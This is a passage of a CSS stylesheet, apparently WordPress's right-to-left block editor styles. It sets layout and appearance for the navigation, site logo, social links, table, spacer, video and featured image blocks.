.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr{
  display:none;
}
.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions{
  align-items:flex-start;
  flex-direction:column;
}
.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr{
  display:none;
}
.wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon{
  height:36px;
  margin-left:12px;
}

.wp-block-navigation-placeholder__actions__indicator{
  align-items:center;
  display:flex;
  height:36px;
  justify-content:flex-start;
  line-height:0;
  margin-right:4px;
  padding:0 0 0 6px;
}
.wp-block-navigation-placeholder__actions__indicator svg{
  margin-left:4px;
  fill:currentColor;
}

.wp-block-navigation .components-placeholder.is-medium .components-placeholder__fieldset{
  flex-direction:row !important;
}

.wp-block-navigation-placeholder__actions{
  align-items:center;
  display:flex;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  gap:6px;
  height:100%;
}
.wp-block-navigation-placeholder__actions .components-dropdown,.wp-block-navigation-placeholder__actions>.components-button{
  margin-left:0;
}
.wp-block-navigation-placeholder__actions.wp-block-navigation-placeholder__actions hr{
  background-color:#1e1e1e;
  border:0;
  height:100%;
  margin:auto 0;
  max-height:16px;
  min-height:1px;
  min-width:1px;
}
@media (min-width:600px){
  .wp-block-navigation__responsive-container:not(.is-menu-open) .components-button.wp-block-navigation__responsive-container-close{
    display:none;
  }
}

.wp-block-navigation__responsive-container.is-menu-open{
  position:fixed;
  top:155px;
}
@media (min-width:782px){
  .wp-block-navigation__responsive-container.is-menu-open{
    right:36px;
    top:93px;
  }
}
@media (min-width:960px){
  .wp-block-navigation__responsive-container.is-menu-open{
    right:160px;
  }
}

.is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{
  top:141px;
}

.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{
  right:0;
  top:155px;
}
@media (min-width:782px){
  .is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{
    top:61px;
  }
}
.is-fullscreen-mode .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-fullscreen-mode .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{
  top:109px;
}

body.editor-styles-wrapper .wp-block-navigation__responsive-container.is-menu-open{
  bottom:0;
  left:0;
  right:0;
  top:0;
}

.components-button.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close,.components-button.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{
  color:inherit;
  height:auto;
  padding:0;
}

.components-heading.wp-block-navigation-off-canvas-editor__title{
  margin:0;
}

.wp-block-navigation-off-canvas-editor__header{
  margin-bottom:8px;
}

.is-menu-open .wp-block-navigation__responsive-container-content * .block-list-appender{
  margin-top:16px;
}

@keyframes fadein{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
.wp-block-navigation__loading-indicator-container{
  padding:8px 12px;
}

.wp-block-navigation .wp-block-navigation__uncontrolled-inner-blocks-loading-indicator{
  margin-top:0;
}

@keyframes fadeouthalf{
  0%{
    opacity:1;
  }
  to{
    opacity:.5;
  }
}
.wp-block-navigation-delete-menu-button{
  justify-content:center;
  margin-bottom:16px;
  width:100%;
}

.components-button.is-link.wp-block-navigation-manage-menus-button{
  margin-bottom:16px;
}

.wp-block-navigation__overlay-menu-preview{
  align-items:center;
  background-color:#f0f0f0;
  display:flex;
  height:64px !important;
  justify-content:space-between;
  margin-bottom:12px;
  padding:0 24px;
  width:100%;
}
.wp-block-navigation__overlay-menu-preview.open{
  background-color:#fff;
  box-shadow:inset 0 0 0 1px #e0e0e0;
  outline:1px solid #0000;
}

.wp-block-navigation-placeholder__actions hr+hr,.wp-block-navigation__toolbar-menu-selector.components-toolbar-group:empty{
  display:none;
}
.wp-block-navigation__navigation-selector{
  margin-bottom:16px;
  width:100%;
}

.wp-block-navigation__navigation-selector-button{
  border:1px solid;
  justify-content:space-between;
  width:100%;
}

.wp-block-navigation__navigation-selector-button__icon{
  flex:0 0 auto;
}

.wp-block-navigation__navigation-selector-button__label{
  flex:0 1 auto;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.wp-block-navigation__navigation-selector-button--createnew{
  border:1px solid;
  margin-bottom:16px;
  width:100%;
}

.wp-block-navigation__responsive-container-open.components-button{
  opacity:1;
}

.wp-block-navigation__menu-inspector-controls{
  overflow-x:auto;
  scrollbar-color:#0000 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-width:thin;
  will-change:transform;
}
.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-track{
  background-color:initial;
}
.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:initial;
  border:3px solid #0000;
  border-radius:8px;
}
.wp-block-navigation__menu-inspector-controls:focus-within::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:focus::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:hover::-webkit-scrollbar-thumb{
  background-color:#949494;
}
.wp-block-navigation__menu-inspector-controls:focus,.wp-block-navigation__menu-inspector-controls:focus-within,.wp-block-navigation__menu-inspector-controls:hover{
  scrollbar-color:#949494 #0000;
}
@media (hover:none){
  .wp-block-navigation__menu-inspector-controls{
    scrollbar-color:#949494 #0000;
  }
}

.wp-block-navigation__menu-inspector-controls__empty-message{
  margin-right:24px;
}

.wp-block-navigation__overlay-menu-icon-toggle-group{
  margin-bottom:16px;
}
.wp-block-navigation .block-list-appender{
  position:relative;
}
.wp-block-navigation .has-child{
  cursor:pointer;
}
.wp-block-navigation .has-child .wp-block-navigation__submenu-container{
  z-index:28;
}
.wp-block-navigation .has-child:hover .wp-block-navigation__submenu-container{
  z-index:29;
}
.wp-block-navigation .has-child.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child.is-selected>.wp-block-navigation__submenu-container{
  height:auto !important;
  min-width:200px !important;
  opacity:1 !important;
  overflow:visible !important;
  visibility:visible !important;
  width:auto !important;
}
.wp-block-navigation-item .wp-block-navigation-item__content{
  cursor:text;
}
.wp-block-navigation-item.is-editing,.wp-block-navigation-item.is-selected{
  min-width:20px;
}
.wp-block-navigation-item .block-list-appender{
  margin:16px 16px 16px auto;
}

.wp-block-navigation-link__invalid-item{
  color:#000;
}
.wp-block-navigation-link__placeholder{
  background-image:none !important;
  box-shadow:none !important;
  position:relative;
  text-decoration:none !important;
}
.wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{
  -webkit-text-decoration:wavy underline;
          text-decoration:wavy underline;
  -webkit-text-decoration-skip-ink:none;
          text-decoration-skip-ink:none;
  text-underline-offset:.25rem;
}
.wp-block-navigation-link__placeholder.wp-block-navigation-item__content{
  cursor:pointer;
}
.link-control-transform{
  border-top:1px solid #ccc;
  padding:0 16px 8px;
}

.link-control-transform__subheading{
  color:#1e1e1e;
  font-size:11px;
  font-weight:500;
  margin-bottom:1.5em;
  text-transform:uppercase;
}

.link-control-transform__items{
  display:flex;
  justify-content:space-between;
}

.link-control-transform__item{
  flex-basis:33%;
  flex-direction:column;
  gap:8px;
  height:auto;
}

.wp-block-navigation-submenu{
  display:block;
}
.wp-block-navigation-submenu .wp-block-navigation__submenu-container{
  z-index:28;
}
.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container{
  height:auto !important;
  min-width:200px !important;
  opacity:1 !important;
  position:absolute;
  right:-1px;
  top:100%;
  visibility:visible !important;
  width:auto !important;
}
@media (min-width:782px){
  .wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
    right:100%;
    top:-1px;
  }
  .wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{
    background:#0000;
    content:"";
    display:block;
    height:100%;
    left:100%;
    position:absolute;
    width:.5em;
  }
}

.block-editor-block-list__block[data-type="core/nextpage"]{
  margin-bottom:28px;
  margin-top:28px;
  max-width:100%;
  text-align:center;
}

.wp-block-nextpage{
  display:block;
  text-align:center;
  white-space:nowrap;
}
.wp-block-nextpage>span{
  background:#fff;
  border-radius:4px;
  color:#757575;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  font-weight:600;
  height:24px;
  padding:6px 8px;
  position:relative;
  text-transform:uppercase;
}
.wp-block-nextpage:before{
  border-top:3px dashed #ccc;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:50%;
}

.wp-block-navigation .wp-block-page-list,.wp-block-navigation .wp-block-page-list>div{
  background-color:inherit;
}
.wp-block-navigation.items-justified-space-between .wp-block-page-list,.wp-block-navigation.items-justified-space-between .wp-block-page-list>div{
  display:contents;
  flex:1;
}
.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list>div,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list>div{
  flex:inherit;
}

.wp-block-navigation .wp-block-navigation__submenu-container>.wp-block-page-list{
  display:block;
}

.wp-block-pages-list__item__link{
  pointer-events:none;
}

@media (min-width:600px){
  .wp-block-page-list-modal{
    max-width:480px;
  }
}

.wp-block-page-list-modal-buttons{
  display:flex;
  gap:12px;
  justify-content:flex-end;
}

.wp-block-page-list .open-on-click:focus-within>.wp-block-navigation__submenu-container{
  height:auto;
  min-width:200px;
  opacity:1;
  visibility:visible;
  width:auto;
}

.wp-block-page-list__loading-indicator-container{
  padding:8px 12px;
}

.block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus{
  min-height:auto !important;
}

.block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{
  opacity:1;
}

.block-editor-block-list__block[data-empty=true]+.block-editor-block-list__block[data-empty=true]:not([data-custom-placeholder=true]) [data-rich-text-placeholder]{
  opacity:0;
}

.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-left[style*="writing-mode: vertical-lr"],.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-right[style*="writing-mode: vertical-rl"]{
  rotate:180deg;
}

.is-zoomed-out .block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{
  opacity:0;
}

.wp-block-post-author__inspector-settings .components-base-control,.wp-block-post-author__inspector-settings .components-base-control:last-child{
  margin-bottom:0;
}

.wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{
  display:inline;
}

.wp-block-pullquote.is-style-solid-color blockquote p{
  font-size:32px;
}
.wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation{
  font-style:normal;
  text-transform:none;
}

.wp-block-pullquote .wp-block-pullquote__citation{
  color:inherit;
}

.wp-block-rss li a>div{
  display:inline;
}

.wp-block-rss__placeholder-form .wp-block-rss__placeholder-input{
  flex:1 1 auto;
}

.wp-block-rss .wp-block-rss{
  all:inherit;
  margin:0;
  padding:0;
}

.wp-block[data-align=center] .wp-block-search .wp-block-search__inside-wrapper{
  margin:auto;
}

.wp-block-search :where(.wp-block-search__button){
  align-items:center;
  border-radius:initial;
  display:flex;
  height:auto;
  justify-content:center;
  text-align:center;
}

.wp-block-search__inspector-controls .components-base-control{
  margin-bottom:0;
}

.block-editor-block-list__block[data-type="core/separator"]{
  padding-bottom:.1px;
  padding-top:.1px;
}

.blocks-shortcode__textarea{
  background:#fff !important;
  border:1px solid #1e1e1e !important;
  border-radius:2px !important;
  box-shadow:none !important;
  box-sizing:border-box;
  color:#1e1e1e !important;
  font-family:Menlo,Consolas,monaco,monospace !important;
  font-size:16px !important;
  max-height:250px;
  padding:12px !important;
  resize:none;
}
@media (min-width:600px){
  .blocks-shortcode__textarea{
    font-size:13px !important;
  }
}
.blocks-shortcode__textarea:focus{
  border-color:var(--wp-admin-theme-color) !important;
  box-shadow:0 0 0 1px var(--wp-admin-theme-color) !important;
  outline:2px solid #0000 !important;
}

.wp-block-site-logo.aligncenter>div,.wp-block[data-align=center]>.wp-block-site-logo{
  display:table;
  margin-left:auto;
  margin-right:auto;
}

.wp-block-site-logo a{
  pointer-events:none;
}
.wp-block-site-logo .custom-logo-link{
  cursor:inherit;
}
.wp-block-site-logo .custom-logo-link:focus{
  box-shadow:none;
}
.wp-block-site-logo img{
  display:block;
  height:auto;
  max-width:100%;
}
.wp-block-site-logo.is-transient{
  position:relative;
}
.wp-block-site-logo.is-transient img{
  opacity:.3;
}
.wp-block-site-logo.is-transient .components-spinner{
  margin:0;
  position:absolute;
  right:50%;
  top:50%;
  transform:translate(50%, -50%);
}

.wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder{
  height:60px;
  width:60px;
}
.wp-block-site-logo.wp-block-site-logo .components-resizable-box__container,.wp-block-site-logo.wp-block-site-logo>div{
  border-radius:inherit;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder{
  align-items:center;
  border-radius:inherit;
  display:flex;
  height:100%;
  justify-content:center;
  min-height:48px;
  min-width:48px;
  padding:0;
  width:100%;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text,.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload{
  display:none;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button{
  align-items:center;
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
  border-radius:50%;
  border-style:solid;
  color:#fff;
  display:flex;
  height:48px;
  justify-content:center;
  margin:auto;
  padding:0;
  position:relative;
  width:48px;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button>svg{
  color:inherit;
}

.block-library-site-logo__inspector-media-replace-container{
  position:relative;
}
.block-library-site-logo__inspector-media-replace-container .components-drop-zone__content-icon{
  display:none;
}
.block-library-site-logo__inspector-media-replace-container button.components-button{
  box-shadow:inset 0 0 0 1px #ccc;
  color:#1e1e1e;
  display:block;
  height:40px;
  width:100%;
}
.block-library-site-logo__inspector-media-replace-container button.components-button:hover{
  color:var(--wp-admin-theme-color);
}
.block-library-site-logo__inspector-media-replace-container button.components-button:focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-media-replace-title{
  text-align:start;
  text-align-last:center;
  white-space:normal;
  word-break:break-all;
}
.block-library-site-logo__inspector-media-replace-container .components-dropdown{
  display:block;
}
.block-library-site-logo__inspector-media-replace-container img{
  aspect-ratio:1;
  border-radius:50% !important;
  box-shadow:inset 0 0 0 1px #0003;
  min-width:20px;
  width:20px;
}
.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-readonly-logo-preview{
  display:flex;
  height:40px;
  padding:6px 12px;
}

.wp-block-site-tagline__placeholder,.wp-block-site-title__placeholder{
  border:1px dashed;
  padding:1em 0;
}

.wp-block-social-links .wp-social-link{
  line-height:0;
}

.wp-block-social-link-anchor{
  align-items:center;
  background:none;
  border:0;
  box-sizing:border-box;
  color:currentColor;
  cursor:pointer;
  display:inline-flex;
  font-family:inherit;
  font-size:inherit;
  font-weight:inherit;
  height:auto;
  margin:0;
  opacity:1;
  padding:.25em;
}
.wp-block-social-link-anchor:hover{
  transform:none;
}

:root :where(.wp-block-social-links.is-style-pill-shape .wp-social-link button){
  padding-left:.6666666667em;
  padding-right:.6666666667em;
}

:root :where(.wp-block-social-links.is-style-logos-only .wp-social-link button){
  padding:0;
}

.wp-block-social-link__toolbar_content_text{
  width:250px;
}

.wp-block-social-links div.block-editor-url-input{
  display:inline-block;
  margin-right:8px;
}

.wp-social-link:hover{
  transform:none;
}

:root :where(.wp-block-social-links),:root :where(.wp-block-social-links.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link){
  padding:0;
}

:root :where(.wp-block-social-links__social-placeholder .wp-social-link){
  padding:.25em;
}

:root :where(.wp-block-social-links.is-style-pill-shape .wp-block-social-links__social-placeholder .wp-social-link){
  padding-left:.6666666667em;
  padding-right:.6666666667em;
}

.wp-block-social-links__social-placeholder{
  display:flex;
  list-style:none;
  opacity:.8;
}
.wp-block-social-links__social-placeholder>.wp-social-link{
  margin-left:0 !important;
  margin-right:0 !important;
  padding-left:0 !important;
  padding-right:0 !important;
  visibility:hidden;
  width:0 !important;
}
.wp-block-social-links__social-placeholder>.wp-block-social-links__social-placeholder-icons{
  display:flex;
}
.wp-block-social-links__social-placeholder .wp-social-link:before{
  border-radius:50%;
  content:"";
  display:block;
  height:1em;
  width:1em;
}
.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link:before{
  background:currentColor;
}

.wp-block-social-links .wp-block-social-links__social-prompt{
  cursor:default;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  line-height:24px;
  list-style:none;
  margin-bottom:auto;
  margin-top:auto;
  min-height:24px;
  padding-left:8px;
}

.wp-block.wp-block-social-links.aligncenter,.wp-block[data-align=center]>.wp-block-social-links{
  justify-content:center;
}

.block-editor-block-preview__content .components-button:disabled{
  opacity:1;
}

.wp-social-link.wp-social-link__is-incomplete{
  opacity:.5;
}

.wp-block-social-links .is-selected .wp-social-link__is-incomplete,.wp-social-link.wp-social-link__is-incomplete:focus,.wp-social-link.wp-social-link__is-incomplete:hover{
  opacity:1;
}

.wp-block-social-links .block-list-appender{
  position:static;
}
.wp-block-social-links .block-list-appender .block-editor-inserter{
  font-size:inherit;
}
.wp-block-social-links .block-list-appender .block-editor-button-block-appender{
  font-size:inherit;
  height:1.5em;
  padding:0;
  width:1.5em;
}

.block-editor-block-list__block[data-type="core/spacer"]:before{
  content:"";
  display:block;
  height:100%;
  min-height:8px;
  min-width:8px;
  position:absolute;
  width:100%;
  z-index:1;
}

.block-library-spacer__resize-container.has-show-handle,.wp-block-spacer.is-hovered .block-library-spacer__resize-container,.wp-block-spacer.is-selected.custom-sizes-disabled{
  background:#0000001a;
}
.is-dark-theme .block-library-spacer__resize-container.has-show-handle,.is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container,.is-dark-theme .wp-block-spacer.is-selected.custom-sizes-disabled{
  background:#ffffff26;
}

.block-library-spacer__resize-container{
  clear:both;
}
.block-library-spacer__resize-container:not(.is-resizing){
  height:100% !important;
  width:100% !important;
}
.block-library-spacer__resize-container .components-resizable-box__handle:before{
  content:none;
}
.block-library-spacer__resize-container.resize-horizontal{
  height:100% !important;
  margin-bottom:0;
}

.wp-block[data-align=center]>.wp-block-table,.wp-block[data-align=left]>.wp-block-table,.wp-block[data-align=right]>.wp-block-table{
  height:auto;
}
.wp-block[data-align=center]>.wp-block-table table,.wp-block[data-align=left]>.wp-block-table table,.wp-block[data-align=right]>.wp-block-table table{
  width:auto;
}
.wp-block[data-align=center]>.wp-block-table td,.wp-block[data-align=center]>.wp-block-table th,.wp-block[data-align=left]>.wp-block-table td,.wp-block[data-align=left]>.wp-block-table th,.wp-block[data-align=right]>.wp-block-table td,.wp-block[data-align=right]>.wp-block-table th{
  word-break:break-word;
}
.wp-block[data-align=center]>.wp-block-table{
  text-align:initial;
}
.wp-block[data-align=center]>.wp-block-table table{
  margin:0 auto;
}
.wp-block-table td,.wp-block-table th{
  border:1px solid;
  padding:.5em;
}
.wp-block-table td.is-selected,.wp-block-table th.is-selected{
  border-color:var(--wp-admin-theme-color);
  border-style:double;
  box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);
}
.wp-block-table table.has-individual-borders td,.wp-block-table table.has-individual-borders th,.wp-block-table table.has-individual-borders tr,.wp-block-table table.has-individual-borders>*{
  border:1px solid;
}

.blocks-table__placeholder-form.blocks-table__placeholder-form{
  align-items:flex-start;
  display:flex;
  flex-direction:column;
  gap:8px;
}
@media (min-width:782px){
  .blocks-table__placeholder-form.blocks-table__placeholder-form{
    align-items:flex-end;
    flex-direction:row;
  }
}

.blocks-table__placeholder-input{
  width:112px;
}

.wp-block-tag-cloud .wp-block-tag-cloud{
  border:none;
  border-radius:inherit;
  margin:0;
  padding:0;
}

.block-editor-template-part__selection-modal{
  z-index:1000001;
}
.block-editor-template-part__selection-modal .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
}
@media (min-width:1280px){
  .block-editor-template-part__selection-modal .block-editor-block-patterns-list{
    column-count:3;
  }
}
.block-editor-template-part__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
}

.block-library-template-part__selection-search{
  background:#fff;
  padding:16px 0;
  position:sticky;
  top:0;
  z-index:2;
}
.block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted:after,.block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected:after,.block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after,.block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-highlighted:after,.block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-selected:after{
  outline-color:var(--wp-block-synced-color);
}

.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.has-editable-outline:after{
  border:none;
}

.wp-block-text-columns .block-editor-rich-text__editable:focus{
  outline:1px solid #ddd;
}

.wp-block[data-align=center]>.wp-block-video{
  text-align:center;
}

.wp-block-video{
  position:relative;
}
.wp-block-video.is-transient video{
  opacity:.3;
}
.wp-block-video .components-spinner{
  margin-right:-9px;
  margin-top:-9px;
  position:absolute;
  right:50%;
  top:50%;
}

.editor-video-poster-control .components-button{
  margin-left:8px;
}

.block-library-video-tracks-editor{
  z-index:159990;
}

.block-library-video-tracks-editor__track-list-track{
  padding-right:12px;
}

.block-library-video-tracks-editor__single-track-editor-kind-select{
  max-width:240px;
}

.block-library-video-tracks-editor__single-track-editor-edit-track-label,.block-library-video-tracks-editor__tracks-informative-message-title{
  color:#757575;
  display:block;
  font-size:11px;
  font-weight:500;
  margin-top:4px;
  text-transform:uppercase;
}

.block-library-video-tracks-editor>.components-popover__content{
  width:360px;
}

.block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{
  padding:0;
}

.block-library-video-tracks-editor__tracks-informative-message{
  padding:8px;
}
.block-library-video-tracks-editor__tracks-informative-message-description{
  margin-bottom:0;
}

.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
}
@media (min-width:1280px){
  .block-library-query-pattern__selection-modal .block-editor-block-patterns-list{
    column-count:3;
  }
}
.block-library-query-pattern__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
}
.block-library-query-pattern__selection-modal .block-library-query-pattern__selection-search{
  background:#fff;
  margin-bottom:-4px;
  padding:16px 0;
  position:sticky;
  top:0;
  transform:translateY(-4px);
  z-index:2;
}

@media (min-width:600px){
  .wp-block-query__enhanced-pagination-modal{
    max-width:480px;
  }
}

.block-editor-block-settings-menu__popover.is-expanded{
  overflow-y:scroll;
}
.block-editor-block-settings-menu__popover .block-library-query-pattern__selection-content{
  height:100%;
}
.block-editor-block-settings-menu__popover .block-editor-block-patterns-list{
  display:grid;
  grid-template-columns:1fr;
  grid-gap:12px;
  min-width:280px;
}
@media (min-width:600px){
  .block-editor-block-settings-menu__popover .block-editor-block-patterns-list{
    grid-template-columns:1fr 1fr;
    min-width:480px;
  }
}
.block-editor-block-settings-menu__popover .block-editor-block-patterns-list__list-item{
  margin-bottom:0;
}

.wp-block[data-align=center]>.wp-block-query-pagination{
  justify-content:center;
}

:where(.editor-styles-wrapper) .wp-block-query-pagination{
  max-width:100%;
}
:where(.editor-styles-wrapper) .wp-block-query-pagination.block-editor-block-list__layout{
  margin:0;
}

.wp-block-query-pagination-numbers a{
  text-decoration:underline;
}
.wp-block-query-pagination-numbers .page-numbers{
  margin-left:2px;
}
.wp-block-query-pagination-numbers .page-numbers:last-child{
  margin-right:0;
}

.wp-block-post-featured-image .block-editor-media-placeholder{
  -webkit-backdrop-filter:none;
          backdrop-filter:none;
  z-index:1;
}
.wp-block-post-featured-image .components-placeholder,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder{
  align-items:center;
  display:flex;
  justify-content:center;
  min-height:200px;
  padding:0;
}
.wp-block-post-featured-image .components-placeholder .components-form-file-upload,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-form-file-upload{
  display:none;
}
.wp-block-post-featured-image .components-placeholder .components-button,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button{
  align-items:center;
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
  border-radius:50%;
  border-style:solid;
  color:#fff;
  display:flex;
  height:48px;
  justify-content:center;
  margin:auto;
  padding:0;
  position:relative;
  width:48px;
}
.wp-block-post-featured-image .components-placeholder .components-button>svg,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button>svg{
  color:inherit;
}
.wp-block-post-featured-image .components-placeholder:where(.has-border-color),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where(.has-border-color),.wp-block-post-featured-image img:where(.has-border-color){
  border-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-top-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-color]),.wp-block-post-featured-image img:where([style*=border-top-color]){
  border-top-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-right-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-color]),.wp-block-post-featured-image img:where([style*=border-right-color]){
  border-left-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image img:where([style*=border-bottom-color]){
  border-bottom-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-left-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-color]),.wp-block-post-featured-image img:where([style*=border-left-color]){
  border-right-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-width]),.wp-block-post-featured-image img:where([style*=border-width]){
  border-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-top-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-width]),.wp-block-post-featured-image img:where([style*=border-top-width]){
  border-top-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-right-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-width]),.wp-block-post-featured-image img:where([style*=border-right-width]){
  border-left-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image img:where([style*=border-bottom-width]){
  border-bottom-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-left-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-width]),.wp-block-post-featured-image img:where([style*=border-left-width]){
  border-right-style:solid;
}
.wp-block-post-featured-image[style*=height] .components-placeholder{
  height:100%;
  min-height:48px;
  min-width:48px;
  width:100%;
}
.wp-block-post-featured-image>a{
  pointer-events:none;
}
.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-button,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__instructions,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__label{
  opacity:1;
  pointer-events:auto;
}
.wp-block-post-featured-image.is-transient{
  position:relative;
}
.wp-block-post-featured-image.is-transient img{
  opacity:.3;
}
.wp-block-post-featured-image.is-transient .components-spinner{
  position:absolute;
  right:50%;
  top:50%;
  transform:translate(50%, -50%);
}

div[data-type="core/post-featured-image"] img{
  display:block;
  height:auto;
  max-width:100%;
}

.wp-block-post-comments-form *{
  pointer-events:none;
}
.wp-block-post-comments-form .block-editor-warning *{
  pointer-events:auto;
}
.wp-element-button{
  cursor:revert;
}
.wp-element-button[role=textbox]{
  cursor:text;
}
:root .editor-styles-wrapper .has-very-light-gray-background-color{
  background-color:#eee;
}
:root .editor-styles-wrapper .has-very-dark-gray-background-color{
  background-color:#313131;
}
:root .editor-styles-wrapper .has-very-light-gray-color{
  color:#eee;
}
:root .editor-styles-wrapper .has-very-dark-gray-color{
  color:#313131;
}
